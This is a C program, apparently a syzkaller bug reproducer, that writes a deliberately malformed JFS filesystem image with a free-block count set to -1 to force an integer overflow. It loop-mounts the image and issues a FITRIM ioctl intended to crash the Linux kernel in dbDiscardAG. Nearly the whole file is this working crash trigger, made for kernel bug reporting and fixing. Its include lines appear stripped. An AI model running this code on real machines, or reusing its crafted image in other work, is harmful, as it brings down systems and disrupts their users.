// https://syzkaller.appspot.com/bug?id=ed17357d47ec51a74eeed2b49cc6f2ad1f70b5af #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include static void write_block(int fd, off_t offset, const void *buf) { ssize_t nw = pwrite(fd, buf, 4096, offset); if (nw != 4096) { printf("[-] Failed to pwrite block at offset 0x%lx: %s\n", (unsigned long)offset, strerror(errno)); exit(1); } } static void init_file_inode(uint8_t *buf, uint32_t fileset, uint32_t inum, uint64_t size, uint64_t nblocks, uint32_t extent_len, uint32_t extent_addr) { memset(buf, 0, 512); /* di_fileset */ *(uint32_t *)(buf + 4) = htole32(fileset); /* di_number */ *(uint32_t *)(buf + 8) = htole32(inum); /* di_size */ *(uint64_t *)(buf + 24) = htole64(size); /* di_nblocks */ *(uint64_t *)(buf + 32) = htole64(nblocks); /* di_nlink */ *(uint32_t *)(buf + 40) = htole32(1); /* di_mode: S_IFREG | 0644 */ *(uint32_t *)(buf + 52) = htole32(S_IFREG | 0644); /* xtroot at offset +224 */ buf[224 + 16] = 0x83; /* flag: DXD_INDEX | BT_ROOT | BT_LEAF */ *(uint16_t *)(buf + 224 + 18) = htole16(3); /* nextindex */ *(uint16_t *)(buf + 224 + 20) = htole16(10); /* maxentry */ /* xad[2] at offset +224 + 32 */ buf[224 + 32] = 0; /* xad.flag */ *(uint32_t *)(buf + 224 + 40) = htole32(extent_len); /* loc.len_addr */ *(uint32_t *)(buf + 224 + 44) = htole32(extent_addr); /* loc.addr2 */ } static void init_root_inode(uint8_t *buf) { memset(buf, 0, 512); /* di_fileset */ *(uint32_t *)(buf + 4) = htole32(16); /* FILESYSTEM_I */ /* di_number */ *(uint32_t *)(buf + 8) = htole32(2); /* di_size */ *(uint64_t *)(buf + 24) = htole64(4096); /* di_nblocks */ *(uint64_t *)(buf + 32) = htole64(0); /* di_nlink */ *(uint32_t *)(buf + 40) = htole32(2); /* di_mode: S_IFDIR | 0755 */ *(uint32_t *)(buf + 52) = htole32(S_IFDIR | 0755); /* dtroot at offset +224 */ buf[224 + 16] = 0x03; /* flag: BT_ROOT | BT_LEAF */ buf[224 + 17] = 0; /* nextindex */ buf[224 + 18] = 0; /* freecnt */ buf[224 + 19] = (uint8_t)-1; /* freelist = -1 */ *(uint32_t *)(buf + 224 + 20) = htole32(2); /* idotdot = 2 */ } int main(void) { setvbuf(stdout, NULL, _IONBF, 0); printf("[+] Starting JFS dbDiscardAG reproducer...\n"); const char *img_path = "/tmp/jfs_repro.img"; int img_fd = open(img_path, O_RDWR | O_CREAT | O_TRUNC, 0644); if (img_fd < 0) { printf("[-] Failed to open %s: %s\n", img_path, strerror(errno)); exit(1); } printf("[+] Created image file %s.\n", img_path); int res = fallocate(img_fd, 0, 0, 16 * 1024 * 1024); if (res < 0) { printf("[-] Failed to fallocate %s: %s\n", img_path, strerror(errno)); exit(1); } printf("[+] fallocate 16MB successful on %s.\n", img_path); /* Block 8: Primary Superblock (0x8000) */ uint8_t b8[4096] = {0}; memcpy(b8 + 0, "JFS1", 4); /* s_magic */ *(uint32_t *)(b8 + 4) = htole32(1); /* s_version = 1 */ *(uint64_t *)(b8 + 8) = htole64(4096); /* s_size = 4096 blocks */ *(uint32_t *)(b8 + 16) = htole32(4096); /* s_bsize = 4096 */ *(uint16_t *)(b8 + 20) = htole16(12); /* s_l2bsize = 12 */ *(uint16_t *)(b8 + 22) = htole16(3); /* s_l2bfactor = 3 */ *(uint32_t *)(b8 + 24) = htole32(512); /* s_pbsize = 512 */ *(uint16_t *)(b8 + 28) = htole16(9); /* s_l2pbsize = 9 */ *(uint16_t *)(b8 + 30) = htole16(0); /* pad = 0 */ *(uint32_t *)(b8 + 32) = htole32(2048); /* s_agsize = 2048 */ *(uint32_t *)(b8 + 36) = htole32(0x00010000); /* s_flag = JFS_BAD_SAIT */ *(uint32_t *)(b8 + 40) = htole32(0); /* s_state = FM_CLEAN */ write_block(img_fd, 0x8000, b8); /* Block 9: Aggregate Inode Map Control Page (0x9000) */ uint8_t b9[4096] = {0}; *(uint32_t *)(b9 + 0) = htole32((uint32_t)-1); /* in_freeiag = -1 */ *(uint32_t *)(b9 + 4) = htole32(1); /* in_nextiag = 1 */ *(uint32_t *)(b9 + 8) = htole32(32); /* in_numinos = 32 */ *(uint32_t *)(b9 + 12) = htole32(0); /* in_numfree = 0 */ *(uint32_t *)(b9 + 16) = htole32(4); /* in_nbperiext = 4 */ *(uint32_t *)(b9 + 20) = htole32(2); /* in_l2nbperiext = 2 */ write_block(img_fd, 0x9000, b9); /* Block 11: Aggregate Inode Table Page 0 (0xb000) */ uint8_t b11[4096] = {0}; /* Inode 1 (AGGREGATE_I) at offset 512 */ init_file_inode(b11 + 512, 1, 1, 8192, 2, 2, 9); /* Inode 2 (BMAP_I) at offset 1024 */ init_file_inode(b11 + 1024, 2, 2, 4096, 1, 1, 16); write_block(img_fd, 0xb000, b11); /* Block 13: Aggregate Inode Table Page 2 (0xd000) */ uint8_t b13[4096] = {0}; /* Inode 16 (FILESYSTEM_I) at offset 0 */ init_file_inode(b13 + 0, 16, 16, 8192, 2, 2, 18); write_block(img_fd, 0xd000, b13); /* Block 16: Block Allocation Map (0x10000) */ uint8_t b16[4096] = {0}; *(uint64_t *)(b16 + 0) = htole64(4096); /* dn_mapsize = 4096 */ *(uint64_t *)(b16 + 8) = htole64(2048); /* dn_nfree = 2048 */ *(uint32_t *)(b16 + 16) = htole32(0); /* dn_l2nbperpage = 0 */ *(uint32_t *)(b16 + 20) = htole32(1); /* dn_numag = 1 */ *(uint32_t *)(b16 + 24) = htole32(0); /* dn_maxlevel = 0 */ *(uint32_t *)(b16 + 28) = htole32(0); /* dn_maxag = 0 */ *(uint32_t *)(b16 + 32) = htole32(0); /* dn_agpref = 0 */ *(uint32_t *)(b16 + 36) = htole32(0); /* dn_aglevel = 0 */ *(uint32_t *)(b16 + 40) = htole32(0); /* dn_agheight = 0 */ *(uint32_t *)(b16 + 44) = htole32(1); /* dn_agwidth = 1 */ *(uint32_t *)(b16 + 48) = htole32(0); /* dn_agstart = 0 */ *(uint32_t *)(b16 + 52) = htole32(11); /* dn_agl2size = 11 */ /* dn_agfree[0] set to -1LL (0xffffffffffffffffULL) to trigger integer overflow */ *(uint64_t *)(b16 + 56) = htole64(0xffffffffffffffffULL); /* dn_agsize at offset 1080 */ *(uint64_t *)(b16 + 1080) = htole64(2048); write_block(img_fd, 0x10000, b16); /* Block 18: Fileset Inode Map Control Page (0x12000) */ uint8_t b18[4096] = {0}; *(uint32_t *)(b18 + 0) = htole32((uint32_t)-1); /* in_freeiag = -1 */ *(uint32_t *)(b18 + 4) = htole32(1); /* in_nextiag = 1 */ *(uint32_t *)(b18 + 8) = htole32(32); /* in_numinos = 32 */ *(uint32_t *)(b18 + 12) = htole32(31); /* in_numfree = 31 */ *(uint32_t *)(b18 + 16) = htole32(4); /* in_nbperiext = 4 */ *(uint32_t *)(b18 + 20) = htole32(2); /* in_l2nbperiext = 2 */ write_block(img_fd, 0x12000, b18); /* Block 19: Fileset Inode Map IAG 0 (0x13000) */ uint8_t b19[4096] = {0}; *(uint64_t *)(b19 + 0) = htole64(0); /* agstart = 0 */ *(uint32_t *)(b19 + 8) = htole32(0); /* iagnum = 0 */ /* inoext[0] at offset 3072 points to Block 20 with length 4 */ *(uint32_t *)(b19 + 3072) = htole32(4); *(uint32_t *)(b19 + 3076) = htole32(20); write_block(img_fd, 0x13000, b19); /* Block 20: Fileset Inode Extent (0x14000) */ uint8_t b20[4096] = {0}; /* Inode 2 (ROOT_I) at offset 1024 */ init_root_inode(b20 + 1024); write_block(img_fd, 0x14000, b20); res = fsync(img_fd); if (res < 0) { printf("[-] Failed to fsync %s: %s\n", img_path, strerror(errno)); exit(1); } printf("[+] On-disk JFS filesystem structures written successfully.\n"); /* Bind image to loop device */ int ctrl_fd = open("/dev/loop-control", O_RDWR); if (ctrl_fd < 0) { printf("[-] Failed to open /dev/loop-control: %s\n", strerror(errno)); exit(1); } int dev_nr = ioctl(ctrl_fd, LOOP_CTL_GET_FREE); if (dev_nr < 0) { printf("[-] Failed to get free loop device: %s\n", strerror(errno)); exit(1); } printf("[+] Allocated free loop device index: %d\n", dev_nr); close(ctrl_fd); char loop_dev[64]; snprintf(loop_dev, sizeof(loop_dev), "/dev/loop%d", dev_nr); int loop_fd = open(loop_dev, O_RDWR); if (loop_fd < 0) { printf("[-] Failed to open %s: %s\n", loop_dev, strerror(errno)); exit(1); } res = ioctl(loop_fd, LOOP_SET_FD, img_fd); if (res < 0) { printf("[-] Failed to attach image to %s: %s\n", loop_dev, strerror(errno)); exit(1); } printf("[+] Attached image to %s successfully.\n", loop_dev); close(loop_fd); /* Mount JFS image read-only */ const char *mount_dir = "/mnt/jfs_repro"; res = mkdir(mount_dir, 0755); if (res < 0 && errno != EEXIST) { printf("[-] Failed to mkdir %s: %s\n", mount_dir, strerror(errno)); exit(1); } umount2(mount_dir, MNT_DETACH); res = mount(loop_dev, mount_dir, "jfs", MS_RDONLY, NULL); if (res < 0) { printf("[-] Failed to mount %s on %s: %s\n", loop_dev, mount_dir, strerror(errno)); exit(1); } printf("[+] Mounted %s on %s successfully.\n", loop_dev, mount_dir); /* Trigger FITRIM ioctl */ int mnt_fd = open(mount_dir, O_RDONLY); if (mnt_fd < 0) { printf("[-] Failed to open mount directory %s: %s\n", mount_dir, strerror(errno)); exit(1); } printf("[+] Opened %s successfully.\n", mount_dir); struct fstrim_range range = { .start = 0, .len = 4096, .minlen = 0, }; printf("[*] Issuing FITRIM ioctl to trigger dbDiscardAG crash...\n"); res = ioctl(mnt_fd, FITRIM, &range); if (res < 0) { printf("[-] FITRIM ioctl returned error: %s\n", strerror(errno)); } else { printf("[+] FITRIM ioctl completed unexpectedly without crashing.\n"); } close(mnt_fd); umount2(mount_dir, MNT_DETACH); close(img_fd); unlink(img_path); return 0; }